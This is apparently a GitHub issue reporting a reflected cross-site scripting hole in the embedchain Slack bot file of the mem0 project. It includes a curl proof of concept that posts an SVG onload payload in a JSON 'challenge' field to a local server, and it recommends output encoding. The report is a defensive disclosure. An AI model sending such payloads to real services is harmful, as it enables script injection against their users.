-
Notifications
You must be signed in to change notification settings - Fork 5k
Open
Description
Reflected server-side cross-site scripting
Writing user input directly to a web page allows for a cross-site scripting vulnerability.
https://github.com/mem0ai/mem0/blob/main/embedchain/embedchain/bots/slack.py#L81C13-L82C58
curl -X POST http://127.0.0.1:5000 -H "Content-Type: application/json" -d '{"challenge": "<svg/onload=alert()>"}'
Remediation:
Output encoding
Metadata
Metadata
Assignees
Labels
No labels